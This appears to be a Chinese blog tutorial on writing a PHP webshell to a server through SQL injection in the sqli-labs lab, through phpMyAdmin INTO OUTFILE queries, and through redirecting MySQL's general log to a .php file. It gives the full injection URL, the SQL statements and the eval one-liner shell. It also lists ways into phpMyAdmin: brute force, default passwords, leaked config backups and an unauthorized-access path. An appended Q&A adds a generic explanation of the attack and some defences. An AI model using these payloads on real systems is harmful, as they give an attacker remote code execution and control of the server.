sql注入和phpmyadmin日志写入webshell

 写入webshell的前提条件:

1、需要root权限。

2、知道网站根目录的绝对路径。

3、数据库my.ini配置文件需要secure_file_priv配置为空。

secure_file_priv=''

sql注入写入webshell的方法:

1、通过outfile()函数写入一句话木马。

以sql-lab第一关为例

写入虚拟机靶场语句为下

 http://192.168.13.1/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"])?>',3 into outfile 'D:/phpstudy_pro/WWW/shell.php' --+ 

网站根路径为:D:\phpstudy_pro\WWW

用蚁剑连接成功。

同时sqlmap集成了一键化利用。就是--os-shell的参数。

2.通过phpmyadmin写入webshell

如果网站安装了phpmyadmin并成功登录到了,利用通过phpmyadmin写入木马。

简单介绍phpmyadmin:phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。界面如下

登录phpmyadmin的思路有:

1.暴力破解:我们可以使用一些暴力破解的工具对 phpMyAdmin 的密码进行暴力破解,我在此列出一些暴力破解工具:nmap暴力破解数据库用户名和密码脚本、msf的爆破模块、Burp的爆破功能、phpMyAdmin暴力破解工具。当然爆破这个技术离不开一个强大的字典,所以我们在平时还是要去搜集一些字典还是很有必要的。

2.使用默认密尝试。

3.源代码泄露: 在现在一些网站使用的CMS系统中,对config.inc.php 及 config等数据库配置文件进行编辑时,有可能会产生 bak文件,这个文件可以直接读取或者下载。部分安装phpMyAdmin的服务器的网站往往存在目录遍历漏洞,通过目录遍历,通过下载源代码等打包的一些文件查看这些打包文件或泄露的代码可以获取网站源代码中的数据库配置文件的信息,从而获取到root的账户和密码。

4.爆出的 phpMyAdmin未授权访问漏洞像之前宝塔爆出的 phpMyAdmin 漏洞用户可以通过访问 http://www.xxx.com:888/pma,直接以root的用户登录phpMyAdmin管理页面

phpmyadmin也需要三个前提条件,所以登录进去后首先secure_file_priv是否为空,通过sql语句

show global variables like '%secure%'

 同时注意secure_file_priv值不能通过sql语句来更改。

然后通过构建sql写入一句话木马

select '<?php @eval($_POST["cmd"])?>' into outfile 'D:/phpstudy_pro/WWW/shell2.php'

 

成功写入并用蚁剑成功连接。

3.通过phpmyadmin更改日志写入webshell

查看mysql是否开启全局日志,更改日志的路径。

查看是否开启全局日志的命令为:

show variables like '%general%'

查询结果可以看到没有开启日志记录,通过开启并更改日志路径和日志文件为php文件。通过日志记录一句话木马来利用。

开启命令为:

 set global general_log=ON

 更改路径命令为:

set global general_log_file='D:/phpstudy_pro/WWW/shell_log.php'

 再次查看更改成功

 再执行sql语句:

select '<?php @eval($_POST["cmd"])?>'

 查看日志成功记录了一句话木马

 用蚁剑测试连接成功。

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 很抱歉,我作为AI语言模型不能提供有关SQL注入shell的信息。SQL注入是一种安全漏洞,可以通过在应用程序注入恶意代码来获取未经授权的访问权限。而shell是指编脚本来执行一系列命令,这与SQL注入无关。请注意保护您的应用程序免受SQL注入攻击,并遵守相关的安全规范。 ### 回答2: SQL注入shell是一种利用数据库系统的漏洞,以执行恶意代码的方式来获取控制权和执行对系统的攻击。具体步骤如下: 1. 进行SQL注入攻击:首先,攻击者需要找到目标系统存在SQL注入漏洞的位置,通常是通过向用户输入的参数插入恶意代码来实现。常见的注入点包括输入框、URL参数或表单字段。 2. 确定数据库类型:根据目标系统所使用的数据库类型(如MySQL、Oracle、MS SQL Server等),攻击者需要编相应的注入代码。 3. 构造注入语句:攻击者需要构造特定的SQL注入语句,以执行命令并获取系统控制权。例如,攻击者可以使用UNION语句将恶意代码插入到现有的SQL查询。 4. 写入恶意代码:通过注入语句,攻击者可以将恶意代码写入数据库。这段代码通常是一段能够执行系统命令的Shell脚本。 5. 执行恶意代码:在恶意代码被写入数据库后,攻击者可以通过执行相关的SQL查询来触发它,并实现远程命令执行。这样就可以获取系统的控制权,并执行各种攻击操作。 为了防止SQL注入攻击,开发人员需要采取以下措施: 1. 输入验证:对用户输入的数据进行严格的格式验证和过滤,防止恶意代码的注入。 2. 参数化查询:使用参数化的SQL查询语句,而不是拼接字符串的方式,可以确保输入数据不会被解释为代码。 3. 最小权限原则:将数据库用户的权限设置为最低,以限制攻击者对系统的访问。 4. 定期更新和修补:保持数据库系统和相关软件的更新,并及时修补已知的漏洞,以防止利用已知的攻击手法。 总之,SQL注入shell是一种危险的攻击方式,可通过有效的输入验证和安全编码实践来防止。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值